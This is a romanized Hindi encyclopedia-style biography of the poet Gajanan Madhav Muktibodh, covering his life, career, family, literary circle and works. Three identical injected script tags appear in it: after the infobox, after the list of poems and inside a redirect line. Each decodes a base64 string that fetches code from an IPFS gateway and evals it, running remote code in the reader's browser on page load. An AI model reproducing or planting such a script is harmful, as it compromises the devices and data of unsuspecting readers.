गजानन माधव 'मुक्तिबोध'

gajanan madhav 'muktibodh' |200px|center poora nam gajanan madhav muktibodh any nam muktibodh janm 13 navanbar 1917 janm bhoomi shyaupur (gvaliyar) mrityu 11 sitanbar 1964 (ayu- 46 varsh) mrityu sthan dilli abhibhavak shri madhav muktibodh (pita) pati/patni shrimati shaanta muktibodh karm-kshetr kavi, lekhak, samikshak mukhy rachanaean kavita sangrah- chaand ka muanh tedha hai, bhoori bhoori khak dhool kahani sangrah- kath ka sapana, vipatr, satah se uthata adami alochana- kamayani : ek punarvichar, nee kavita ka atmasangharsh, ne sahity ka sauandaryashastr, samiksha ki samasyaean, ek sahityik ki dayari rachanavali- muktibodh rachanavali (6 khandoan mean) bhasha hindi vidyalay nagapur vishvavidyalay shiksha em. e. prasiddhi pragatishil kavi nagarikata bharatiy vidhaean kavita, kahani, upanyas, nibandh, alochana any janakari hindi sahity mean sarvadhik charcha ke kendr mean rahane vale muktibodh kahanikar bhi the aur samikshak bhi. unhean pragatishil kavita aur nayi kavita ke bich ka ek setu bhi mana jata hai. inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gajanan madhav muktibodh ki rachanaean aandhere mean (kavita) -gajanan madhav muktibodh chaand ka muanh tedha hai (kavita) -gajanan madhav muktibodh ek svapn katha -gajanan madhav muktibodh ek aant:katha -gajanan madhav muktibodh jab prashn chihn baukhala uthe -gajanan madhav muktibodh brahmarakshas -gajanan madhav muktibodh bhool-galati -gajanan madhav muktibodh maian unaka hi hota -gajanan madhav muktibodh maian tum logoan se door hooan -gajanan madhav muktibodh mujhe pukarati huee pukar -gajanan madhav muktibodh mujhe maloom nahian -gajanan madhav muktibodh mujhe yad ate haian -gajanan madhav muktibodh mere log -gajanan madhav muktibodh shoony -gajanan madhav muktibodh ek bhootapoorv vidrohi ka atm-kathan -gajanan madhav muktibodh dimagi guhaandhakar ka auraang utaang -gajanan madhav muktibodh mujhe qadam-qadam par -gajanan madhav muktibodh jab dupahari ziandagi par -gajanan madhav muktibodh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gajanan madhav 'muktibodh' (aangrezi: Gajanan Madhav Muktibodh, janm: 13 navanbar, 1917 - mrityu: 11 sitanbar, 1964) ki prasiddhi pragatishil kavi ke roop mean hai. muktibodh hindi sahity ki svatantryottar pragatishil kavyadhara ke shirsh vyaktitv the. hindi sahity mean sarvadhik charcha ke kendr mean rahane vale muktibodh kahanikar bhi the aur samikshak bhi. unhean pragatishil kavita aur nayi kavita ke bich ka ek setu bhi mana jata hai.

muktibodh hindi sansar ki ek ghatana ban ge. kuchh aisi ghatana jisaki or se aankhean mooand lena asambhav tha. unaka ekanishth sangharsh, unaki atoot sachchaee, unaka poora jivan, sabhi ek sath hamari bhavanaoan ke keandriy manch par samane ae aur sabhi ne unake kavi hone ko nee drishti se dekha. kaisa jivan tha vah aur aise usaka aant kyoan hua. aur vah samuchit khyati se ab tak vanchit kyoan raha? yah talkh tippani shamasher bahadur sianh ki hai jo unhoanne b de bebak dhang se hiandi jagath ke sahityakaroan ki nissangata par kahi hai.

janm aur shiksha

gajanan madhav 'muktibodh' ka janm 13 navanbar, 1917 ko shyaupur (gvaliyar) mean hua tha. inaki arambhik shiksha ujjain mean huee. muktibodh ji ke pita pulis vibhag ke ianspektar the aur unaka tabadala prayah hota rahata tha. isilie muktibodh ji ki padhaee mean badha p dati rahati thi. indaur ke holkar se sanh 1938 mean bi.e. karake ujjain ke madarn skool mean adhyapak ho ge. inaka ek sahapathi tha shantaram, jo gasht ki dyooti par tainat ho gaya tha. gajanan usi ke sath rat ko shahar ki ghumakk di ko nikal jate. bi di ka chaska shayad tabhi se laga.

parivar

inake pita madhav muktibodh bhi bahut shusta fasih urdoo bolate the. ye kee sthanoan mean thanedar rah kar ujjain mean inspaiktar ke pad se ritayar hue. muktibodh ki maan bundelakhand ki thian, eesagadh ke ek kisan parivar ki. gajanan char bhaee haian. inase chhote sharatachandr marathi ke pratishthit kavi haian. parivarik asahamati aur virodh ke bavajood 1939 mean shaanta ke sath prem-vivah kiya.thumb|left|'muktibodh' pratima

aranbhik jivan

muktibodh ji ne chhoti ayu mean badanagar ke midil skool mean adhyapan kary prarambh kiya. sanh 1940 mean muktibodh shujalapur ke sharada shiksha sadan mean adhyapak ho ge. isake bad ujjain, kalakatta, iandaur, bambee, bangalaur, banaras tatha jabalapur adi jagahoan par naukari ki. sanh 1942 ke aandolan mean jab yah sharada shiksha sadan band ho gaya, to yah shiraza bikhar gaya. muktibodh ujjain chale gaye. bhinn-bhinn naukariyaan kian- mastari se vayusena, patrakarita se parti tak. nagapur 1948 mean aye. soochana tatha prakashan vibhag, akashavani evan 'naya khoon' mean kam kiya. aant mean kuchh mah tak pathy pustakean bhi likhi. aantat: 1958 se digvijay mahavidyalay, rajanaandagaanv mean pradhyapak hue. unhoanne likha hai ki:-

naukariyaan pak data aur chho data raha.
shikshak, patrakar, punah shikshak, sarakari aur gair sarakari naukariyaan.
nimn-madhyavargiy jivan, bal-bachche, davadaroo, janm-maut mean ulajha raha.

sahapathi mitr

gajanan ke sahapathi mitroan mean romani kalpana ke kavi virendr kumar jain aur prabhagachandr sharma, anantar 'karmavir' mean sahakari sampadak aur us samay ke ek achchhe, yogy kavi the. kavita ki or ramashankar shukl 'hriday' ne gajanan ko kafi protsahit kiya tha. 'karmavir' mean un ki kavitaean chhap rahi thian. makhanalal aur mahadevi ki rahasyatmak shaili malava ke tarun hridayoan ko akrisht kiye hue thi, magar muktibodh d aaust aauyavaski, flabear aur gorki mean bhi kam khoye hue nahian rahate the.thumb|left|muktibodh apani patni shrimati shaanta ke sath

patrika sampadan

agara se nemichandr jain shujalapur pahuanch ge the. prabhakar machave bhi aksar a jate. 'tar-saptak' ki mool parikalpana bhi yahian bani. sanh 1943 mean ajney ke sampadan mean 'tar-saptak' ka prakashan hua. jisaki shuruat muktibodh ki kavitaoan se hoti hai. ujjain se sanh 1945 ke lagabhag muktibodh banaras gaye aur trilochan shastri ke sath 'hans' ke sampadan mean shamil hue. vahaan sampadan se lekar dispaichar tak ka kam vah karate the; sath rupaye vetan tha. unaka kashi pravas bahut sukhad nahian raha. bharatabhooshan agraval aur nemichandr jain ne unhean kalakatta bulaya. par adhyapaki ya sampadaki ka kahian koee daul nahian jama. har kar muktibodh sanh 1946-1947 mean jabalapur chale gaye. vahaan 'hitakarini haee skool' mean vah adhyapak ho gaye. aur phir nagapur ja nikale. nagapur ka samay bih d sangharsh ka samay tha, kintu rachana ki drishti se atyant urvar. 'naya khoon' saptahik mean ve niyamit roop se likhate rahe. sampradayik dange zoroan se shuroo ho gaye the. us zamane mean vah dainik 'jay-hind' mean bhi kuchh kam karate the. rat ki dyooti de kar karfyoo ke sannate mean vah ghar lautate.

tar-saptak

shujalapur aur ujjain ne sabase moolyaankan chiz jo hindi ko di vah 'tar-saptak' hai. isaki mool parikalpana prabhakar machave aur nemichandr jain ki thi. nam 'tar-saptak' prabhakar machave ka sujhaya hua tha. bharatabhooshan agraval tab nemi ji ke b de gahare mitr the. at: unaka sampark bhi shujalapur aur muktibodh se ho gaya. arambh mean prabhagachandr sharma aur virendr kumar jain bhi is saptak-yojana ke svar the. ajney ji se sampark badhane par yojana ko kary roop mean sampann karane ke lie usamean sampadan ka bhar un par dal diya gaya. nemichandr aur bharatabhooshan jab kalakatta (ab kolakata) mean the, yojana ne antim roop le liya. ajney bhi ne d aau. ramavilas sharma aur girijakumar mathur ke nam sujhaye. sat ki sima nishchit hone ke karan namavali mean parivartan anivary tha. 1943 mean jab yah aitihasik sangrah prakashit hua, usane ek lambe vivad ko janm diya, jo kisi n kisi sandarbh ya arth mean ab bhi jari hai. us sangrah mean muktibodh ka yog us samay sab se prodh chahe n ho, magar shayad sabase maulik tha. durooh hote hue bauddhik, bauddhik hote hue bhi romani.
thumb|left|muktibodh dvara hastalikhit kavita bisavian sadi ki hiandi kavita ka sabase bechain, sabase t dapata hua aur sabase eemanadar svar hai gajanan madhav muktibodh. muktibodh ki kavita jatil hai. bhagavan sianh ne unaki kavita ki jatilata ka bayan is tarah kiya hai, ‘ve saras nahian haian, sukhad nahian haian. ve hamean jhakajhor deti haian, gudagudati nahian. ve matr arthagrahan ki maang nahian karatian, acharan ki bhi maang karati haian. tarasaptak mean muktibodh ne svayan kaha hai, ‘meri kavitaean apana path khojate bechain man ki abhivyakti haian. unaka saty aur mooly usi jiv-sthiti mean chhipa hai.

chitr:Blockquote-open.gif "nee kavita mean muktibodh ki jagah vahi hai, jo chhayavad mean nirala ki thi. nirala ke saman hi muktibodh ne bhi apani yug ke samany kavy-moolyoan ko pratiphalit karane ke sath hi unaki sima ki chunauti dekar us sarjanatmak vishishtata ko charitarth kiya, jisase samakalin kavy ka sahi moolyaankan ho saka." chitr:Blockquote-close.gif - namavar sianh

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lekhak sangh

ujjain mean muktibodh ne madhy bharat pragatishil lekhak sangh ki buniyad dali. isaki vishisht sabhaoan mean bhag lene ke lie vah bahar se d aau. ramavilas sharma, amritaray adi sahityik vicharakoan ko bulate the. unhoanne sanh 1944 ke ant mean indaur mean fasist virodhi lekhak sammelan ka ayojan kiya, jo rahul ji ki adhyakshata mean huee. lekhakoan ke dayitv par muktibodh ne svayan bhi ek nibandh us par padha tha. muktibodh navodit pratibhavoan ka nirantar utsah badhate rahate aur unhean age late. harinarayan vyas, shyam paramar, jagadish vora adi un ke prabhav mean the. muktibodh ne mazadooroan se vastavik sampark sthapit kiya aur unase ghulamil kar rahe. aksar kasht mean p de sathiyoan aur sahityik bandhuoan ke lie dau d-dhoop karate. masalan 'natavar' ji ke lie un ki dau d-dhoop ki, bat chalati hai to, log yad karate haian.

pragatishil kavi

thumb|muktibodh smarak muktibodh moolat: kavi haian. unaki alochana unake kavi vyaktitv se hi ni:srit aur paribhashit hai. vahi usaki shakti aur sima hai. unhoanne ek or pragativad ke kathamullepan ko ubhar kar samane rakha, to doosari or nayi kavita ki hrasonmukhi pravrittiyoan ka pardafash kiya. yahaan unaki alochana drishti ka painapan aur maulikata asandigdh hai. unaki saiddhantik aur vyavaharik samiksha mean tejasvita hai. jayashankar prasad, shamasher, kuanvar narayan jaise kaviyoan ki unhoanne jo alochana ki hai, usamean paryapt vicharottejakata hai aur virodhi drishti rakhane vale bhi unase bahut kuchh sikh sakate haian. kavy ki srijan prakriya par unaka nibandh mahattvapoorn hai. khasakar phaintesi ka jaisa vivechan unhoanne kiya hai, vah atyant gahan aur tatvik hai. unhoanne nayi kavita ka apana shastr hi gadh dala hai. par ve nire shastriy alochak nahian haian. unaki kavita ki hi tarah unaki alochana mean bhi vahi charamata hai, eeman aur anubhav ki vahi paradarshita hai, jo pratham shreni ke lekhakoan mean paee jati hai. unhoanne apani alochana dvara aise anek tathyoan ko udghatit kiya hai, jin par sadharanat: dhyan nahian diya jata raha. 'j dibhoot saundaryabharuchi' tatha 'vyakti ke ant:karan ke sanskar mean usake parivar ka yogadan' udaharan ke roop mean ginae ja sakate haian. d aau. namavar sianh ji ke shabdoan mean - "nee kavita mean muktibodh ki jagah vahi hai ,jo chhayavad mean nirala ki thi. nirala ke saman hi muktibodh ne bhi apani yug ke samany kavy-moolyoan ko pratiphalit karane ke sath hi unaki sima ki chunauti dekar us sarjanatmak vishishtata ko charitarth kiya, jisase samakalin kavy ka sahi moolyaankan ho saka."

kritiyaan

thumb|muktibodh muktibodh hiandi ke ativishisht rachanakar haian. unhean umr zaroor kam mili, par kavita, kahani aur alochana mean unhoanne yug badal dene vala kam kiya. pahali bar vah vyavasthit roop mean ‘ajney’ dvara sanpadit ‘tar saptak’ mean apani kavitaoan ke sath upasthit hue. yah behad durbhagyapoorn tha ki unake jivanakal mean unaki kavita ki koee kitab nahian prakashit ho paee. unake jivit rahate unaki sirf ek kitab chhapi, yah thi ‘ek sahityik ki dayari.’ isake bavazood bad mean ve aise vilakshan rachanakar sabit hue jinake likhe ki gooanj paravarti kavita, vichar, alochana ya kahani sabamean badhati hi chali gee. sanh 1954 mean unhoanne nagapur vishvavidyalay se hindi mean em. e. kiya, jisake phalasvaroop rajanaandagaanv ke digvijay k aaulej mean niyukt hue. unaki kuchh atyant mahattvapoorn kritiyaan yahian likhi geean. unaki kritiyoan ke nam is prakar hai:-

kahani	kavitaean
aandhere mean kh‍l aaud eetharali kath ka sapana jankshan pakshi aur dimak prashh‍n brahmarakshas ka shishy lekhan vipatr saunh‍dary ke upasak	aandhere mean ek aantahkatha ek bhootapoorv vidrohi ka atm-kathan ek svapn katha chaand ka muanh tedha hai jab prashn chihn baukhala uthe dimagi guhaandhakar ka auraang utaang brahmarakshas bhool-galati maian unaka hi hota	maian tum logoan se door hooan mujhe qadam-qadam par mujhe pukarati huee pukar mujhe maloom nahian mujhe yad ate haian mere log shoony jab dupahari ziandagi par (aprakashit kavita)

gajanan madhav 'muktibodh' ki pustakean

x150px|border|ek sahityik ki dayari|link=ek sahityik ki dayari -gajanan madhav muktibodh

x150px|border|kath ka sapana|link=kath ka sapana -gajanan madhav muktibodh

x150px|border|chaand ka muanh tedha hai|link=chaand ka muanh tedha hai -gajanan madhav muktibodh

x150px|border|bhoori bhoori khak dhool|link=bhoori bhoori khak dhool -gajanan madhav muktibodh

x150px|border|vipatr|link=vipatr -gajanan madhav muktibodh

x150px|border|satah se uthata adami|link=satah se uthata adami -gajanan madhav muktibodh

sahityik parichay

thumb|muktibodh smarak muktibodh ko apane jivan kal mean n to bahut pahachan mili aur n hi unaka koee bhi kavita sangrah prakashit ho saka. lekin unaki asamay mrith‍yu ke bad achanak hi muktibodh hiandi sahity ke paridrishh‍y par chha gaye. sabase pahale unaki kavitayean ajney dvara sanpadit ‘tar saph‍tak’ (1943) mean prakashit huee thian. muktibodh ne kahani, kavita, upanyas, alochana adi vidhaoan mean likha aur har kshetr mean unaka hash‍takshep alag se mahasoos kiya ja sakata hai. unh‍hean pragativad, prayogavad, nayi kavita adi sahityik aandolanoan ke sath jo dakar dekha jata hai. ‘aandhere mean’ aur ‘brahmarakshas’ muktibodh ki sarvadhik mahath‍vapoorn rachanayean mani jati haian. ‘brahmarakshas’ kavita mean kavi ne ‘brahmarakshas’ ke mithak ke jariye buddhijivi varg ke dvandv aur am janata se usake alagav ki vh‍yatha ka marmik chitran kiya hai. is kavita ke sandesh ko yadi ek pankti mean vh‍yakh‍t karana ho to kaha ja sakata hai ki ‘achh‍chhe v bure ke sangharsh se bhi ugratar / achh‍chhe v usase adhik achh‍chhe bich ka sangar’. lagabhag inh‍hian ashayoan ki kahani ‘brahmarakshas ka shishh‍y’ bhi unh‍hoanne likhi.
kaha ja sakata hai ki ye kavitaean nirala ki sanvedanashilata aur kabir ke akkh dapan ka adbhut sammishran haian. muktibodh ki rachanaean srijan ka visphot haian. ve sajag chitrakar ki bhaanti duniya ka suandaratam ukerana chahate haian. ve chahate haian ujali-ujali ibarat, magar aandhere bar-bar unaki rah rok lete haian. aandhere ke chakravyooh mean ghire ve abhimanyoo ki tarah akele hi joojhate haian, anavarat lagatar. yah yuddh kabhi khatm nahian hota, chalata hi rahata hai unake bhitar. ve l date haian ajivan kyoanki unhean lagata hai ki un jaisoan ke hath mean sach ki virasat hai, jise unhean ane vale samay ko, pidhi ko jyoan ka tyoan sauanpana hai.

chitr:Blockquote-open.gif muktibodh hindi sansar ki ek ghatana ban ge. kuchh aisi ghatana jisaki or se aankhean mooand lena asambhav tha. unaka ekanishth sangharsh, unaki atoot sachchaee, unaka poora jivan, sabhi ek sath hamari bhavanaoan ke keandriy manch par samane ae aur sabhi ne unake kavi hone ko nee drishti se dekha. kaisa jivan tha vah aur aise usaka aant kyoan hua. aur vah samuchit khyati se ab tak vanchit kyoan raha? chitr:Blockquote-close.gif - shamasher bahadur sianh

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‘ve ate hoange log....
are jinake hathoan mean tumhean sauanpane hi hoange
ye maun upekshit ratn
matr tab tak
keval tab tak
tum chhipa chalo dhuriman unhean tam guha tale
o sanvedan may jnan nag
kundali mar tum daba rakho
phootati rashmiyaan.‘
've ate hi hoane lo
jinhean tum doge dena hi hoga poora hisab
apana sabaka, man ka, jan ka'

aandhere mean

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

‘aandhere mean’ muktibodh ki aantim kavita hai aur shayad sabase mahath‍vapoorn bhi. is kavita mean sath‍ta aur bauddhak varg ke bich gathajo d, unake benakab hone, sath‍ta dvara logoan par daman, purane ke dhh‍vans par naye ke srijan, itihas ke bare mean nayi aantardrishti adi dekhane ko milati hai. ‘aandhere mean’ sh‍vatantrata ke bad ke bharat ke do dashakoan ka akhh‍yan nahian hai, usamean hamara sanpoorn a‍tit mukharit hota suna ja sakata hai. shayad yahi vajah hai ki muktibodh ko ‘sabhh‍yata samiksha’ shabh‍d bahut priy hai. ve vartaman ki ghatanaoan ko mahaz ek asanbaddh ghatana ki tarah nahian balki usake pichhe ki poori karyakaran shrriankhala ke bataur samajhane ki koshish karate haian. jab ve is prakriya ka anusaran karate haian, to unaki kavitayean lanbi hoti chali jati hai. unh‍hoanne khud bhi likha hai ki unaki jo bhi kavitayean chhoti haian, ve chhoti nahian balki adhoori haian.

gady lekhan

thumb|left|muktibodh rachanavali muktibodh ne kavitaoan ke alava kahaniyaan bhi likhian. unaki kahaniyaan bhi kavitaoan ka hi vish‍tar aur kee bar unaka poorvabhh‍yas lagati haian. kahaniyoan mean bhi vahi jatilata aur sanshlishh‍t bianboan vali bhasha maujood hai, jo unaki kavitaoan ki vishishh‍tata hai. muktibodh ne hiandi alochana mean bhi mahath‍vapoorn yogadan kiya. unh‍hoanne ‘kamayani : ek punarvichar’ push‍tak ke jariye kamayani par chali a rahi tamam bahasoan ko ek naye sh‍tar tak utha diya. unh‍hoanne kamayani ko ek vishal phaiantesi ke roop mean padhane ki koshish ki, jisamean dhahate hue samanti moolh‍yoan ki chhaya sh‍pashh‍t dekhi ja sakati hai. ramadhari sianh dinakar ki push‍tak ‘urvashi’ par chali bahas mean unaka hash‍takshep bahut karagar tha, jisamean unh‍hoanne ‘urvashi’ ko vh‍yarth mean mahimamandit karane ka tikha prativad kiya. muktibodh ne bhakti aandolan ka bhi naye sire se moolh‍yaankan kiya aur sh‍thapit kiya ki yah moolat: nichali jatiyoan ka shoshak jatiyoan ke khilaf vidroh tha. bad mean shoshak jatiyoan ne is aandolan par niyantran hasil kar liya aur bhakti aandolan poori tarah bikhar gaya. unh‍hoanne sahith‍y ki rachana prakriya ke bare mean bhi mahath‍vapoorn lekhan kiya. rachana-prakriya ke sandarbh mean ‘kala ka tisara kshan’ hindi sahity ki b di upalabdhi hai.

gotrahin kavi

muktibodh gotrahin kavi haian. hindi mean unaka koee poorvaj nahian khoja ja sakata. asal mean unake poorvaj tolsatoy, dostovaski, gorki ityadi roosi upanyasakar the. aisa koee kavi pahale nahian hua jisaki prerana kavita ke alava upanyasoan se aee ho. muktibodh ke bad bhi kisi ne us tarah ke shilp mean utani kavita likhane ki himmat nahian ki, kyoanki un jaisa likhana vaise bhi sanbhav nahian tha. is tarah apane samay ke aandhere ko pahachanane ki cheshta karana, apane samay ke aandhere ko tatolana aur us aandhere mean apani hissedari, apani shirakat ko, atm-nirmamata ko svikar karana, muktibodh se sikha ja sakata hai. bisavian sadi ke mahanh bharatiy lekhakoan mean muktibodh ka nam hamesha rahega.

nidhan

thumb|muktibodh smarak muktibodh ki ruchi adhyayan-adhyapan, patrakarita, samasamayik rajanitik evan sahity ke vishayoan par lekhan mean thi. 1942 ke asapas ve vamapanthi vicharadhara ki or jhuke aur shujalapur mean rahate hue unaki vamapanthi chetana majaboot huee. ajivan garibi se l date hue aur rogoan ka mukabala karate hue 11 sitambar, 1964 ko nee dilli mean muktibodh ki mrityu ho gayi.

muktibodh smarak

11 sitanbar, 1964 ko apani mrity se pahale tak muktibodh apane nivas sthan par rahe jise ab muktibodh smarak bana diya gaya hai. muktibodh smarak mean sthit unaka ek tailachitr bhi maujood hai. yahaan se ranisagar ka nazara dikhata hai. muktibodh smarak mean sthit chakkaradar sidhiyaan bhi haian, jinake bianb unaki kavitaoan mean kee bar ae haian.kuchh vidvanh muktibodh ko markh‍savadi aur samajavadi vicharoan se prabhavit batate haian, to kuchh unh‍hean astith‍vavad se prabhavit batate haian. d aau. ramavilas sharma ne unh‍hean astith‍vavad se prabhavit batate hue unaki kavitaoan ko kharij kiya hai, lekin muktibodh pragatishil aandolan ke chhinh‍n-bhinh‍n hone ke bad bhi pragatishil moolh‍yoan par kh de rahe. adhunikatavad aur vh‍yaktivad ke jariye samaj ki chianta ko sahith‍y se pare dhakelane ki koshishoan ka unh‍hoanne virodh kiya. muktibodh ke bad ke kaviyoan par unaka vh‍yapak asar hai. anek vishh‍vavidyalayoan mean muktibodh ki kavitaoan v alochana par shodh kary hue haian aur ho rahe haian. nirdeshak mani kaul ne unaki kahani ‘sahat se uthata adami’ par ek filh‍m ka nirman kiya. 2004 mean muktibodh, padumalal punnalal bakhshi aur baladev mishr ki sh‍mriti mean rajanaandagaanv mean ek sh‍marak ka nirman kiya gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• nash devata - gajanan madhav "muktibodh"
• gajanan madhav muktibodh-kavita
• aandhere mean / gajanan madhav muktibodh
• muktibodh ki yad (2) - maheandr bhatanagar
• muktibodh ne marksavad ka atikraman kiya hai
• muktibodh smriti-1 : ek dopahar ‘aandhere mean’
• muktibodh ki kavitaean
• muktibodh ki kavita- madhyavargiy sangharsh aur vishamataoan ki takat ka akhyan

sanbandhit lekh

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